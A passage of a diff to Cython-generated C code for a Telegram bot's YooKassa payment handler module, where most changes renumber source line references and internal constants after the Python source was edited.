0); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 58, __pyx_L1_error) + __pyx_t_5 = __Pyx_Py3ClassCreate(__pyx_t_3, __pyx_n_s_ReplenishBalanceState, __pyx_t_2, __pyx_t_6, NULL, 0, 0); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 50, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); - if (PyDict_SetItem(__pyx_d, __pyx_n_s_ReplenishBalanceState, __pyx_t_5) < 0) __PYX_ERR(0, 58, __pyx_L1_error) + if (PyDict_SetItem(__pyx_d, __pyx_n_s_ReplenishBalanceState, __pyx_t_5) < 0) __PYX_ERR(0, 50, __pyx_L1_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_router); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 64, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_router); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 56, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_callback_query); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 64, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_callback_query); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 56, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_F); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 64, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_F); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 56, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_data); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 64, __pyx_L1_error) + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_data); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 56, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_2 = PyObject_RichCompare(__pyx_t_6, __pyx_n_u_pay_yookassa, Py_EQ); __Pyx_XGOTREF(__pyx_t_2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 64, __pyx_L1_error) + __pyx_t_2 = PyObject_RichCompare(__pyx_t_6, __pyx_n_u_pay_yookassa, Py_EQ); __Pyx_XGOTREF(__pyx_t_2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 56, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; - __pyx_t_6 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 64, __pyx_L1_error) + __pyx_t_6 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 56, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_2 = __Pyx_PyDict_NewPresized(3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 64, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyDict_NewPresized(3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 56, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_callback_query, __pyx_kp_s_types_CallbackQuery) < 0) __PYX_ERR(0, 64, __pyx_L1_error) - if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_state, __pyx_n_s_FSMContext) < 0) __PYX_ERR(0, 64, __pyx_L1_error) - if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_session, __pyx_n_s_Any) < 0) __PYX_ERR(0, 64, __pyx_L1_error) - __pyx_t_3 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_12yookassa_pay_1process_callback_pay_yookassa, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_process_callback_pay_yookassa, NULL, __pyx_n_s_handlers_payments_yookassa_pay, __pyx_d, ((PyObject *)__pyx_codeobj_)); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 64, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_callback_query, __pyx_kp_s_types_CallbackQuery) < 0) __PYX_ERR(0, 56, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_state, __pyx_n_s_FSMContext) < 0) __PYX_ERR(0, 56, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_session, __pyx_n_s_Any) < 0) __PYX_ERR(0, 56, __pyx_L1_error) + __pyx_t_3 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_12yookassa_pay_1process_callback_pay_yookassa, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_process_callback_pay_yookassa, NULL, __pyx_n_s_handlers_payments_yookassa_pay, __pyx_d, ((PyObject *)__pyx_codeobj_)); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 56, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_CyFunction_SetAnnotationsDict(__pyx_t_3, __pyx_t_2); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_2 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 64, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 56, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - if (PyDict_SetItem(__pyx_d, __pyx_n_s_process_callback_pay_yookassa, __pyx_t_2) < 0) __PYX_ERR(0, 64, __pyx_L1_error) + if (PyDict_SetItem(__pyx_d, __pyx_n_s_process_callback_pay_yookassa, __pyx_t_2) < 0) __PYX_ERR(0, 56, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_router); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 118, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_router); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 110, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_callback_query); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 118, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_callback_query); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 110, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_F); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 118, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_F); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 110, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_data); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 118, __pyx_L1_error) + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_data); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 110, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_startswith); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 118, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_startswith); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 110, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; - __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__29, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 118, __pyx_L1_error) + __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__28, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 110, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_2 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_6); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 118, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_6); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 110, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; - __pyx_t_6 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 118, __pyx_L1_error) + __pyx_t_6 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 110, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); - if (PyDict_SetItem(__pyx_t_6, __pyx_n_s_callback_query, __pyx_kp_s_types_CallbackQuery) < 0) __PYX_ERR(0, 118, __pyx_L1_error) - if (PyDict_SetItem(__pyx_t_6, __pyx_n_s_state, __pyx_n_s_FSMContext) < 0) __PYX_ERR(0, 118, __pyx_L1_error) - __pyx_t_3 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_12yookassa_pay_4process_amount_selection, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_process_amount_selection, NULL, __pyx_n_s_handlers_payments_yookassa_pay, __pyx_d, ((PyObject *)__pyx_codeobj__3)); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 118, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_6, __pyx_n_s_callback_query, __pyx_kp_s_types_CallbackQuery) < 0) __PYX_ERR(0, 110, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_6, __pyx_n_s_state, __pyx_n_s_FSMContext) < 0) __PYX_ERR(0, 110, __pyx_L1_error) + __pyx_t_3 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_12yookassa_pay_4process_amount_selection, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_process_amount_selection, NULL, __pyx_n_s_handlers_payments_yookassa_pay, __pyx_d, ((PyObject *)__pyx_codeobj__3)); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 110, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_CyFunction_SetAnnotationsDict(__pyx_t_3, __pyx_t_6); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; - __pyx_t_6 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_3); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 118, __pyx_L1_error) + __pyx_t_6 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_3); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 110, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - if (PyDict_SetItem(__pyx_d, __pyx_n_s_process_amount_selection, __pyx_t_6) < 0) __PYX_ERR(0, 118, __pyx_L1_error) + if (PyDict_SetItem(__pyx_d, __pyx_n_s_process_amount_selection, __pyx_t_6) < 0) __PYX_ERR(0, 110, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; - __pyx_t_6 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_12yookassa_pay_7yookassa_webhook, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_yookassa_webhook, NULL, __pyx_n_s_handlers_payments_yookassa_pay, __pyx_d, ((PyObject *)__pyx_codeobj__10)); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 198, __pyx_L1_error) + __pyx_t_6 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_12yookassa_pay_7yookassa_webhook, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_yookassa_webhook, NULL, __pyx_n_s_handlers_payments_yookassa_pay, __pyx_d, ((PyObject *)__pyx_codeobj__9)); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 190, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); - if (PyDict_SetItem(__pyx_d, __pyx_n_s_yookassa_webhook, __pyx_t_6) < 0) __PYX_ERR(0, 198, __pyx_L1_error) + if (PyDict_SetItem(__pyx_d, __pyx_n_s_yookassa_webhook, __pyx_t_6) < 0) __PYX_ERR(0, 190, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; - __pyx_t_6 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_12yookassa_pay_10process_successful_payment, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_process_successful_payment, NULL, __pyx_n_s_handlers_payments_yookassa_pay, __pyx_d, ((PyObject *)__pyx_codeobj__13)); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 240, __pyx_L1_error) + __pyx_t_6 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_12yookassa_pay_10process_successful_payment, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_process_successful_payment, NULL, __pyx_n_s_handlers_payments_yookassa_pay, __pyx_d, ((PyObject *)__pyx_codeobj__12)); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 232, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); - if (PyDict_SetItem(__pyx_d, __pyx_n_s_process_successful_payment, __pyx_t_6) < 0) __PYX_ERR(0, 240, __pyx_L1_error) + if (PyDict_SetItem(__pyx_d, __pyx_n_s_process_successful_payment, __pyx_t_6) < 0) __PYX_ERR(0, 232, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_router); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 252, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_router); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 244, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); - __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_callback_query); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 252, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_callback_query); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 244, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_F); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 252, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_F); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 244, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); - __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_data); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 252, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_data); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 244, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; - __pyx_t_6 = PyObject_RichCompare(__pyx_t_2, __pyx_n_u_enter_custom_amount_yookassa, Py_EQ); __Pyx_XGOTREF(__pyx_t_6); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 252, __pyx_L1_error) + __pyx_t_6 = PyObject_RichCompare(__pyx_t_2, __pyx_n_u_enter_custom_amount_yookassa, Py_EQ); __Pyx_XGOTREF(__pyx_t_6); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 244, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_2 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_6); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 252, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_6); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 244, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; - __pyx_t_6 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 252, __pyx_L1_error) + __pyx_t_6 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 244, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); - if (PyDict_SetItem(__pyx_t_6, __pyx_n_s_callback_query, __pyx_kp_s_types_CallbackQuery) < 0) __PYX_ERR(0, 252, __pyx_L1_error) - if (PyDict_SetItem(__pyx_t_6, __pyx_n_s_state, __pyx_n_s_FSMContext) < 0) __PYX_ERR(0, 252, __pyx_L1_error) - __pyx_t_3 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_12yookassa_pay_13process_enter_custom_amount, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_process_enter_custom_amount, NULL, __pyx_n_s_handlers_payments_yookassa_pay, __pyx_d, ((PyObject *)__pyx_codeobj__16)); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 252, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_6, __pyx_n_s_callback_query, __pyx_kp_s_types_CallbackQuery) < 0) __PYX_ERR(0, 244, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_6, __pyx_n_s_state, __pyx_n_s_FSMContext) < 0) __PYX_ERR(0, 244, __pyx_L1_error) + __pyx_t_3 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_12yookassa_pay_13process_enter_custom_amount, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_process_enter_custom_amount, NULL, __pyx_n_s_handlers_payments_yookassa_pay, __pyx_d, ((PyObject *)__pyx_codeobj__15)); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 244, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_CyFunction_SetAnnotationsDict(__pyx_t_3, __pyx_t_6); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; - __pyx_t_6 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_3); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 252, __pyx_L1_error) + __pyx_t_6 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_3); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 244, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - if (PyDict_SetItem(__pyx_d, __pyx_n_s_process_enter_custom_amount, __pyx_t_6) < 0) __PYX_ERR(0, 252, __pyx_L1_error) + if (PyDict_SetItem(__pyx_d, __pyx_n_s_process_enter_custom_amount, __pyx_t_6) < 0) __PYX_ERR(0, 244, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_router); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 270, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_router); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 262, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); - __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_message); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 270, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_message); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 262, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_ReplenishBalanceState); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 270, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_ReplenishBalanceState); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 262, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); - __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_entering_custom_amount_yookassa); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 270, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_entering_custom_amount_yookassa); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 262, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; - __pyx_t_6 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 270, __pyx_L1_error) + __pyx_t_6 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 262, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_2 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 270, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 262, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_callback_query, __pyx_kp_s_types_CallbackQuery_types_Messag) < 0) __PYX_ERR(0, 270, __pyx_L1_error) - if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_session, __pyx_n_s_Any) < 0) __PYX_ERR(0, 270, __pyx_L1_error) - __pyx_t_3 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_12yookassa_pay_16process_custom_amount_input, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_process_custom_amount_input, NULL, __pyx_n_s_handlers_payments_yookassa_pay, __pyx_d, ((PyObject *)__pyx_codeobj__17)); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 270, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_callback_query, __pyx_kp_s_types_CallbackQuery_types_Messag) < 0) __PYX_ERR(0, 262, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_session, __pyx_n_s_Any) < 0) __PYX_ERR(0, 262, __pyx_L1_error) + __pyx_t_3 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_12yookassa_pay_16process_custom_amount_input, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_process_custom_amount_input, NULL, __pyx_n_s_handlers_payments_yookassa_pay, __pyx_d, ((PyObject *)__pyx_codeobj__16)); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 262, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_CyFunction_SetAnnotationsDict(__pyx_t_3, __pyx_t_2); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_2 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 270, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 262, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - if (PyDict_SetItem(__pyx_d, __pyx_n_s_process_custom_amount_input, __pyx_t_2) < 0) __PYX_ERR(0, 270, __pyx_L1_error) + if (PyDict_SetItem(__pyx_d, __pyx_n_s_process_custom_amount_input, __pyx_t_2) < 0) __PYX_ERR(0, 262, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_2 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 366, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 358, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_target, __pyx_kp_s_types_CallbackQuery_types_Messag) < 0) __PYX_ERR(0, 366, __pyx_L1_error) - if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_text, __pyx_n_s_str) < 0) __PYX_ERR(0, 366, __pyx_L1_error) - __pyx_t_3 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_12yookassa_pay_19_send_message, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_send_message, NULL, __pyx_n_s_handlers_payments_yookassa_pay, __pyx_d, ((PyObject *)__pyx_codeobj__25)); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 366, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_target, __pyx_kp_s_types_CallbackQuery_types_Messag) < 0) __PYX_ERR(0, 358, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_text, __pyx_n_s_str) < 0) __PYX_ERR(0, 358, __pyx_L1_error) + __pyx_t_3 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_12yookassa_pay_19_send_message, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_send_message, NULL, __pyx_n_s_handlers_payments_yookassa_pay, __pyx_d, ((PyObject *)__pyx_codeobj__24)); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 358, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - __Pyx_CyFunction_SetDefaultsTuple(__pyx_t_3, __pyx_tuple__36); + __Pyx_CyFunction_SetDefaultsTuple(__pyx_t_3, __pyx_tuple__35); __Pyx_CyFunction_SetAnnotationsDict(__pyx_t_3, __pyx_t_2); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - if (PyDict_SetItem(__pyx_d, __pyx_n_s_send_message, __pyx_t_3) < 0) __PYX_ERR(0, 366, __pyx_L1_error) + if (PyDict_SetItem(__pyx_d, __pyx_n_s_send_message, __pyx_t_3) < 0) __PYX_ERR(0, 358, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyDict_NewPresized(0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 1, __pyx_L1_error) @@ -17161,7 +17157,7 @@ static PyObject *__Pyx_ImportDottedModule_WalkParts(PyObject *module, PyObject * #endif static PyObject *__Pyx__ImportDottedModule(PyObject *name, PyObject *parts_tuple) { #if PY_MAJOR_VERSION < 3 - PyObject *module, *from_list, *star = __pyx_n_s__26; + PyObject *module, *from_list, *star = __pyx_n_s__25; CYTHON_UNUSED_VAR(parts_tuple); from_list = PyList_New(1); if (unlikely(!from_list)) @@ -17224,7 +17220,7 @@ static PyObject *__Pyx_ImportDottedModule(PyObject *name, PyObject *parts_tuple) if (unlikely(!module_name_str)) { goto modbad; } module_name = PyUnicode_FromString(module_name_str); if (unlikely(!module_name)) { goto modbad; } - module_dot = PyUnicode_Concat(module_name, __pyx_kp_u__27); + module_dot = PyUnicode_Concat(module_name, __pyx_kp_u__26); if (unlikely(!module_dot)) { goto modbad; } full_name = PyUnicode_Concat(module_dot, name); if (unlikely(!full_name)) { goto modbad; } @@ -19197,7 +19193,7 @@ __Pyx_PyType_GetName(PyTypeObject* tp) if (unlikely(name == NULL) || unlikely(!PyUnicode_Check(name))) { PyErr_Clear(); Py_XDECREF(name); - name = __Pyx_NewRef(__pyx_n_s__37); + name = 